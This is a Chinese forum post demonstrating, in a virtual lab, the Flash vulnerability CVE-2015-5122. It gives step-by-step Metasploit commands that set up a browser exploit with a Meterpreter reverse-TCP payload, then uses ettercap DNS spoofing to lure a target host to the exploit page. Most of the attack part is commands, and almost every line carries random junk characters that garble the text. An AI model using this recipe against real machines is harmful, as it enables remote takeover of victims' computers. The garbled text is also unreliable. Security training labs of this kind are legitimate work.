找回密码
 立即注册
查看: 2200|回复: 0
打印 上一主题 下一主题

cve2015-5122漏洞实例演示虚拟机

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

7 x' e4 Y$ C. `$ m 二、cve2015-5122漏洞实例演示虚拟机 ( m8 z" I# m v) H

+ w' s; ~& l! i6 t6 I7 T& F

1 k0 }. V! b" q) {& c$ e$ f   关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图: 5 B/ R/ L' |! D- ~, V9 H5 B

8 p9 ~* p+ C4 [- @& Y

6 i& M* r1 H+ ^7 _& l0 y search cve-2015-5122如图: " A$ O7 M' x; O( L! \8 \

$ d5 P }) J! L! \- w+ X: n" f" }6 A

8 {: h" D3 W* Q: L: O: ]9 k$ y   7 O# d" F$ ?4 [$ Q. G8 B

S x# n, d" ?6 z" S' i% y' E

) W7 `3 O/ O2 Y- W5 i3 r) c# B- l 下面我们敲如下命令: 2 |# \' V* @! y8 j* `

, j$ O# Y+ T4 |- X! \' D" [9 p. K

& Z6 P; z6 s5 u$ U* l+ k, Q. Z9 [ use exploit/multi/browser/adobe_flash_opaque_background_uaf * f9 L3 h+ l) q% n3 S

7 ^# s$ L$ z+ |4 `" y

0 s! b8 b3 a: P( h H5 {1 A set PAYLOAD windows/meterpreter/reverse_tcp " j. M0 @. g! B5 a( G, x$ e" y

! `, k% X9 e* [) t

* ^; X; j. Z+ f: _! p8 D set LHOST 192.168.0.109 / @& ^: |# _3 ]' D% Z$ [6 K8 a2 ]7 A

6 M( d0 y! t) z; P4 v5 x

% J# U& l9 u9 i" Q9 j; M set URIPATH /                        /*根目录*/ ; @2 j5 L0 d$ }, i. J% Q

6 G! W) R/ [- j3 ^6 {

7 W$ R( I5 c% B! O set SRVHOST 192.168.0.109  //192.168.0.109kaili ip地址 3 A* F8 `! ^2 X3 X: m7 J: X5 S9 S

. Q- U" Y$ s( t0 J- }

; D9 T; O5 T/ v# w# s* z set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 8 b) r* }% }3 ] w

( z; l* p( k& b( N: |$ G

6 a* e6 o* M3 d( d% Y9 A1 M6 _ 然后show options如图: ; k6 D, M0 W( Q+ a5 [6 q5 n

7 R; x- x! m j, C8 a1 }

9 @4 n: m# H: h# G4 }, `   4 {) e* {( D# e. d) s2 Y7 s

& _3 Y/ b3 L! { c2 a3 B8 z, n

* \. R8 L) Z" P( P* H& b 一切都设置好了,执行exploit下面我们进etc/ettercap目录下设置etc.dns如图:
$ Y# n/ { {2 p$ i) ]) t
; [) \) t! j) E s) k# ]0 L

" @! ^$ S4 g" `$ K" H

& |4 m4 f# s4 o& t7 `' G Z( W6 b 然后ettercap -G命令打开ettercap,我们要攻击的主机ip192.168.0115 1 m+ A$ Z- M; Y' n0 p

, a: Z4 D# p5 N/ W3 \* S* z

# a1 H' e- i d0 I. U+ R/ o4 [" J0 N Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf $ `, }% A3 `) |3 @: ?

/ \5 |: U, B( k9 ?

8 t% p$ W/ n1 P/ i+ s) N) s( W   6 x: g: N; T* R

# I( q) S/ y* c5 ~% D/ I) e

7 h; A3 k4 q8 F2 ~! [7 n 成功了,这时候我们断开ettercap,如图: ' K' ~! T; i. z: F9 ]' t

2 J, a" y5 @- M9 g

* g6 P$ O2 z" Z   / K2 {' d3 I+ ?% Z& w* h3 k5 z$ F$ V

' z, `2 k! v% F+ v' w

! V0 l8 D; W9 W2 u$ _& K% r Screenshot如图: ' c& p/ s* S" C

- r3 x- k6 j5 \' Y7 y! q- d* ]8 ?

/ D+ p+ P9 a/ u8 D( x' P# L   - V$ ?3 L2 I) F+ u# E/ l( S) |& z

8 D- q, y5 W1 g( @+ {

* Q. E5 U. o7 j6 ` ; h' J+ q0 r" l9 n+ U

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表